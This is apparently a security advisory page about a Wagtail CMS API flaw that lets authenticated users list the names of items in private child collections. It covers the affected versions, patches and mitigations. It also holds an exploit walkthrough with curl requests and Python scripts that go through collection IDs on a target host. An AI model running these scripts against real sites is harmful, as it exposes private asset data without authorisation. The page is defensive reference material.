Wagtail, Improper Restriction Handling, CVE (Pending) (Moderate) -DC-Aug2026-1715

Listen to this Post

The vulnerability exists in Wagtail’s Documents and Images API V2.
Wagtail is a Django-based CMS used for managing web content.
The API provides programmatic access to document and image metadata.

Collections are hierarchical containers for organizing these assets.

Private collections allow setting view restrictions at the parent level.
These restrictions are intended to inherit down to all child collections.
However, the API V2 endpoint fails to enforce this inheritance correctly.
When querying the API, the backend retrieves items without ancestor checks.
The ORM query omits the necessary `path` or `depth` filtering conditions.

Consequently, descendant collections are treated as independent entities.

A user with API access can list items from protected descendant collections.
The leaked information includes filenames, image s, and file extensions.

The actual binary content of files remains inaccessible.

The flaw arises from improper permission propagation in the view layer.
The `get_queryset` method does not apply recursive collection filters.
It only checks direct permissions on the requested collection itself.

This oversight allows bypassing inherited view restrictions.

An attacker must have valid credentials to access the API endpoint.

The typical API routes are `/api/v2/images/` and `/api/v2/documents/`.

Publicly exposed APIs without authentication are at higher risk.
The vulnerability is rated as Moderate severity by the advisory.
Affected releases include versions before 7.0.9 and specific ranges.
Specifically, 7.1 to 7.3.3, 7.4 to 7.4.2, and 8.0rc1 are vulnerable.
Patched versions have been released to address the issue.
The fix involves adding an explicit `descendant_of` filter in queries.
This filter ensures only collections with proper ancestor access are shown.
The patch also includes additional permission checks at the API level.

Workarounds exist for sites unable to upgrade immediately.

Adding authentication to the API endpoints mitigates the exposure.
The advisory credits Ta Duc Thien for reporting this security flaw.

DailyCVE Form:

Platform: Wagtail CMS
Version: Multiple affected versions
Vulnerability : Information Disclosure
Severity: Moderate
date: 20 Aug 2026

Prediction: Already patched released

What Undercode Say:

Check your Wagtail version

pip show wagtail | grep Version

List all images via API (vulnerable endpoint)

curl -X GET http://localhost:8000/api/v2/images/
List documents from a specific private collection ID (replace 5)
curl -X GET http://localhost:8000/api/v2/documents/?collection_id=5

Python script to test enumeration

import requests

url = “http://localhost:8000/api/v2/documents/”

for cid in range(1, 20):

resp = requests.get(url, params={“collection_id”: cid})

if resp.status_code == 200 and len(resp.json().get(“items”, [])) > 0:

print(f”Collection {cid} has items: {resp.json()[‘items’]}”)

Exploit: (Educational Purposes!)

  1. Identify the target Wagtail API endpoint (e.g., /api/v2/images/).

2. Authenticate using valid credentials or session cookies.

  1. Send GET requests to /api/v2/images/ with parameter ?collection_id=.
  2. Iterate over collection IDs to discover private descendants.
  3. Observe that the response contains items from restricted collections.

6. Example exploit snippet using Python’s requests library:

import requests

session = requests.Session()

session.auth = (‘user’, ‘pass’)

base = “http://target/api/v2/images/”

for coll in [2,3,4,5]: known private parents

r = session.get(base, params={“collection_id”: coll})

print(r.json()) may leak names from child collections.

Protection: from this CVE

  • Upgrade Wagtail to version 7.0.9, 7.3.4, 7.4.3, or 8.0rc2.
  • Apply authentication middleware to the API routes.
  • Use Django’s permission decorators to restrict API access.
  • Implement network-level access controls (e.g., VPN, IP allowlist).
  • Monitor API logs for unusual collection ID enumeration patterns.

Impact:

  • Unauthorized users can view filenames and s of private assets.
  • Sensitive internal document names may be disclosed to attackers.
  • Provides reconnaissance data for further targeted attacks.
  • Breaks the confidentiality expectation of private collections.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top